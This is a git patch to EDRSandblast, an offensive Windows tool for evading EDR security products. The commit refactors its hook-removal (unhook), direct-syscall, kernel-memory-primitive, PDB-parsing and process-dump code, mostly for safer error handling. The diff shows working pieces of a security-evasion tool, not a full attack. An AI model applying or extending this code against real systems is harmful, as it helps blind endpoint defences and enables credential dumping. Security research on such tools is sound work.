From 15c3b706f17af356a99e50e1b3df80fb84d232a0 Mon Sep 17 00:00:00 2001 From: Maxime Meignan Date: Fri, 23 Sep 2022 17:50:52 +0200 Subject: [PATCH] various cosmetic changes to please the code analyzer --- EDRSandblast/Includes/UserlandHooks.h | 3 +- EDRSandblast/UserlandBypass/Firewalling.c | 4 ++ EDRSandblast/UserlandBypass/Syscalls.c | 9 ++- EDRSandblast/UserlandBypass/UserlandHooks.c | 17 ++--- EDRSandblast/Utils/KernelMemoryPrimitives.c | 3 +- EDRSandblast/Utils/PEParser.c | 4 +- EDRSandblast/Utils/PdbParser.c | 69 +++++++++++++-------- EDRSandblast/Utils/ProcessDump.c | 12 +++- EDRSandblast/Utils/SW2_Syscalls.c | 2 +- EDRSandblast_CLI/EDRSandblast.c | 9 ++- 10 files changed, 84 insertions(+), 48 deletions(-) diff --git a/EDRSandblast/Includes/UserlandHooks.h b/EDRSandblast/Includes/UserlandHooks.h index ab1a322..f84677d 100644 --- a/EDRSandblast/Includes/UserlandHooks.h +++ b/EDRSandblast/Includes/UserlandHooks.h @@ -55,8 +55,7 @@ PVOID hookResolver(PBYTE hookAddr); pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method); PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget); PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch); -VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method); - +BOOL _Check_return_ unhook(_In_ HOOK* hook, UNHOOK_METHOD unhook_method); /* * Cache for NTDLL PE (accessed often) diff --git a/EDRSandblast/UserlandBypass/Firewalling.c b/EDRSandblast/UserlandBypass/Firewalling.c index e62a68e..e54a69a 100644 --- a/EDRSandblast/UserlandBypass/Firewalling.c +++ b/EDRSandblast/UserlandBypass/Firewalling.c @@ -166,6 +166,10 @@ NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) { _tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError); goto cleanup; } + if (dwByteCount * sizeof(BYTE) < lpServicesCount * sizeof(ENUM_SERVICE_STATUS_PROCESS)) { + _putts(TEXT("[!] Could not enumerate EDR services (problem in allocation)")); + goto cleanup; + } for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) { dwByteCount = 0; diff --git a/EDRSandblast/UserlandBypass/Syscalls.c b/EDRSandblast/UserlandBypass/Syscalls.c index e66eb1c..9b6c0fa 100644 --- a/EDRSandblast/UserlandBypass/Syscalls.c +++ b/EDRSandblast/UserlandBypass/Syscalls.c @@ -65,7 +65,7 @@ SYSCALL* GetSyscallTable(PDWORD syscallTableSize) { // Store all Zw* function as a syscall for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) { LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]); - if (*(WORD*)functionName == *((WORD*)"Zw")) { + if (functionName[0]=='Z' && functionName[1] == 'w') { if (g_nbSyscalls == g_nbSyscallsMax) { g_nbSyscallsMax *= 2; PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL)); @@ -91,7 +91,9 @@ SYSCALL* GetSyscallTable(PDWORD syscallTableSize) { // Deduce the syscall numbers from order in table for (DWORD j = 0; j < g_nbSyscalls; j++) { +#pragma warning(disable : 6386) //compiler analysis is wrong for some reason (or maybe I am) g_syscalls[j].Number = j; +#pragma warning(disable : 6386) } // Sort the function back in alphabetical order qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName); @@ -138,8 +140,9 @@ DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) { if (zwFunctionName == NULL) { return INVALID_SYSCALL_NUMBER; } - *(WORD*)zwFunctionName = *(WORD*)"Zw"; - + zwFunctionName[0] = 'Z'; + zwFunctionName[1] = 'w'; + DWORD down = 0; DWORD up = syscallTableSize; while (up - down > 1) { diff --git a/EDRSandblast/UserlandBypass/UserlandHooks.c b/EDRSandblast/UserlandBypass/UserlandHooks.c index 436efa7..a6c1c5e 100644 --- a/EDRSandblast/UserlandBypass/UserlandHooks.c +++ b/EDRSandblast/UserlandBypass/UserlandHooks.c @@ -186,10 +186,12 @@ PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOI return NULL; } - -VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { +/* +* Returns TRUE iff the hook has been successfully removed +*/ +BOOL _Check_return_ unhook(_In_ HOOK* hook, UNHOOK_METHOD unhook_method) { if (unhook_method == UNHOOK_NONE) { - return; + return FALSE; } const WCHAR* ntdlolFileName = L".\\ntdlol.txt"; @@ -241,12 +243,12 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory"); if (unmonitoredNtProtectVirtualMemory == NULL) { printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n"); - exit(EXIT_FAILURE); + return FALSE; } break; default: printf_or_not("Unhook method does not exist, exiting...\n"); - exit(EXIT_FAILURE); + return FALSE; break; } @@ -263,7 +265,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { ); if (!NT_SUCCESS(status)) { debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status); - exit(1); + return FALSE; } for (size_t i = 0; i < patch.size; i++) { @@ -279,7 +281,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { ); if (!NT_SUCCESS(status)) { debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status); - exit(1); + return FALSE; } switch (unhook_method) { @@ -291,6 +293,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) { break; } + return TRUE; } diff --git a/EDRSandblast/Utils/KernelMemoryPrimitives.c b/EDRSandblast/Utils/KernelMemoryPrimitives.c index 8cbb0ab..b2c228d 100644 --- a/EDRSandblast/Utils/KernelMemoryPrimitives.c +++ b/EDRSandblast/Utils/KernelMemoryPrimitives.c @@ -65,5 +65,6 @@ WriteKernelMemoryType(DWORD); WriteKernelMemoryType(DWORD64); BOOL TestReadPrimitive() { - return ReadKernelMemoryWORD(0) == *(WORD*)"MZ"; + WORD startWord = ReadKernelMemoryWORD(0); + return ((startWord & 0xFF) == 'M') && ((startWord >> 8) == 'Z'); } diff --git a/EDRSandblast/Utils/PEParser.c b/EDRSandblast/Utils/PEParser.c index c81e53a..7c566ce 100644 --- a/EDRSandblast/Utils/PEParser.c +++ b/EDRSandblast/Utils/PEParser.c @@ -155,19 +155,19 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress) assert(pe->relocations != NULL); PVOID oldBaseAddress = pe->baseAddress; pe->baseAddress = newBaseAddress; + intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); for (DWORD i = 0; i < pe->nbRelocations; i++) { switch (pe->relocations[i].Type) { case IMAGE_REL_BASED_ABSOLUTE: break; case IMAGE_REL_BASED_HIGHLOW: relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA); - intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); assert(relativeOffset <= MAXDWORD); *relocDwAddress += (DWORD)relativeOffset; break; case IMAGE_REL_BASED_DIR64: relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA); - *relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); + *relocQwAddress += (QWORD)relativeOffset; break; default: printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type); diff --git a/EDRSandblast/Utils/PdbParser.c b/EDRSandblast/Utils/PdbParser.c index d79f9ef..3c81a0e 100644 --- a/EDRSandblast/Utils/PdbParser.c +++ b/EDRSandblast/Utils/PdbParser.c @@ -32,24 +32,30 @@ typedef struct PdbInfoStreamHeader_t { PVOID extractGuidFromPdb(LPWSTR filepath) { GUID* guid = NULL; + HANDLE hMapping = NULL; + PBYTE filemap = NULL; + DWORD* StreamDirectory = NULL; + DWORD** StreamBlocks = NULL; + DWORD NumStreams = 0; + HANDLE hFile = CreateFileW(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return NULL; } - HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); + hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMapping == NULL) { - goto clean_file; + goto clean; } - PBYTE filemap = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + filemap = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); if (filemap == NULL) { - goto clean_mapping; + goto clean; } SuperBlock* superblock = (SuperBlock*)filemap; DWORD blockSize = superblock->BlockSize; DWORD* StreamDirectoryBlockMap = (DWORD*)(filemap + (ULONG_PTR)superblock->BlockMapAddr * blockSize); - DWORD* StreamDirectory = calloc(superblock->NumDirectoryBytes, 1); + StreamDirectory = calloc(superblock->NumDirectoryBytes, 1); if (StreamDirectory == NULL) { - goto clean_viewoffile; + goto clean; } DWORD StreamDirectoryBlockIndex = 0; DWORD StreamDirectoryRemainingSize = superblock->NumDirectoryBytes; @@ -62,18 +68,19 @@ PVOID extractGuidFromPdb(LPWSTR filepath) { StreamDirectoryBlockIndex++; StreamDirectoryRemainingSize -= SizeToCopy; } - DWORD NumStreams = StreamDirectory[0]; + NumStreams = StreamDirectory[0]; if (NumStreams < 2) { - goto clean_StreamDirectory; + NumStreams = 0; + goto clean; } - DWORD** StreamBlocks = calloc(NumStreams, sizeof(DWORD*)); + StreamBlocks = calloc(NumStreams, sizeof(DWORD*)); if (StreamBlocks == NULL) { - goto clean_StreamDirectory; + goto clean; } DWORD* StreamBlocksFlat = &StreamDirectory[1 + NumStreams]; DWORD i = 0; if ((1 + NumStreams) >= superblock->NumDirectoryBytes / 4) { - goto clean_StreamBlocks; + goto clean; } for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) { DWORD StreamSize = StreamDirectory[1 + stream_i]; @@ -81,7 +88,7 @@ PVOID extractGuidFromPdb(LPWSTR filepath) { while (StreamBlockCount * blockSize < StreamSize) { PVOID tmp = realloc(StreamBlocks[stream_i], ((SIZE_T)StreamBlockCount + 1) * sizeof(DWORD)); if (tmp == NULL) { - goto clean_StreamBlocks; + goto clean; } StreamBlocks[stream_i] = tmp; StreamBlocks[stream_i][StreamBlockCount] = StreamBlocksFlat[i]; @@ -91,27 +98,37 @@ PVOID extractGuidFromPdb(LPWSTR filepath) { } DWORD PdbInfoStreamSize = StreamDirectory[1 + 1]; if (PdbInfoStreamSize == 0) { - goto clean_StreamBlocks; + goto clean; } PdbInfoStreamHeader* PdbInfoStream = (PdbInfoStreamHeader*)(filemap + (ULONG_PTR)StreamBlocks[1][0] * blockSize); guid = calloc(1, sizeof(GUID)); if (guid == NULL) { - goto clean_StreamBlocks; + goto clean; } memcpy(guid, &PdbInfoStream->UniqueId, sizeof(GUID)); -clean_StreamBlocks: - for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) { - free(StreamBlocks[stream_i]); +clean: + if (StreamBlocks) { + for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) { +#pragma warning(disable : 6001) //compiler analysis is wrong for some reason (or maybe I am) + if (StreamBlocks[stream_i]) { +#pragma warning(default: 6001) + free(StreamBlocks[stream_i]); + } + } + free(StreamBlocks); + } + if (StreamDirectory) { + free(StreamDirectory); + } + if (filemap) { + UnmapViewOfFile(filemap); + } + if (hMapping != NULL) { + CloseHandle(hMapping); + } + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); } - free(StreamBlocks); -clean_StreamDirectory: - free(StreamDirectory); -clean_viewoffile: - UnmapViewOfFile(filemap); -clean_mapping: - CloseHandle(hMapping); -clean_file: - CloseHandle(hFile); return guid; } diff --git a/EDRSandblast/Utils/ProcessDump.c b/EDRSandblast/Utils/ProcessDump.c index 48a6f40..0ae3936 100644 --- a/EDRSandblast/Utils/ProcessDump.c +++ b/EDRSandblast/Utils/ProcessDump.c @@ -55,8 +55,8 @@ DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) { // Retrieve information about the first process, // and exit if unsuccessful if (!Process32First(hProcessSnap, &pe32)) { - _tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure - CloseHandle(hProcessSnap); // clean the snapshot object + _tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); + CloseHandle(hProcessSnap); return 1; } @@ -64,7 +64,13 @@ DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) { //PE* dbghelpPe = PE_create(hDbghelp, TRUE); //_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump"); - _MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump"); + HANDLE hDbghelp = LoadLibrary(TEXT("dbghelp.dll")); + if (hDbghelp == NULL) { + _tprintf_or_not(TEXT("[!] %s dump failed: could not load dbghelp.dll\n"), processName); + CloseHandle(hProcessSnap); + return 1; + } + _MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(hDbghelp, "MiniDumpWriteDump"); // Now walk the snapshot of processes, and look for the specified process. do { diff --git a/EDRSandblast/Utils/SW2_Syscalls.c b/EDRSandblast/Utils/SW2_Syscalls.c index 110d787..0b92d39 100644 --- a/EDRSandblast/Utils/SW2_Syscalls.c +++ b/EDRSandblast/Utils/SW2_Syscalls.c @@ -56,7 +56,7 @@ BOOL SW2_PopulateSyscallList(void) PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) { LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]); - if (*(WORD*)functionName == *((WORD*)"Zw")) { + if ((functionName[0] == 'Z') && (functionName[1] == 'w')) { Entries[i].Hash = SW2_HashSyscall(functionName); Entries[i].RVA = PE_functionRVA(ntdll, functionName); i++; diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index c8c71f0..f0919b9 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -397,13 +397,14 @@ Dump options:\n\ return EXIT_FAILURE; } // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks. + BOOL isSafeToExecutePayloadUserland = TRUE; BOOL isSafeToExecutePayloadKernelland = TRUE; if (userMode) { _putts_or_not(TEXT("[===== USER MODE =====]\n")); _putts_or_not(TEXT("[+] Detecting userland hooks in all loaded DLLs...")); - hooks = searchHooks(NULL); + hooks = searchHooks(NULL); //TODO : change searchHooks to notify if code modifications have been found but not correctly identified as hooks _putts_or_not(TEXT("")); if (startMode != audit && unhook_method != UNHOOK_NONE) { @@ -412,8 +413,10 @@ Dump options:\n\ } for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) { printf_or_not("[+] [Hooks]\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method); - // TODO: return if all hook could be removed and set isSafeToExecutePayloadUserland. - unhook(ptr, unhook_method); + BOOL unhookSuccessful = unhook(ptr, unhook_method); + if (!unhookSuccessful) { + isSafeToExecutePayloadUserland = FALSE; + } } } _putts_or_not(TEXT(""));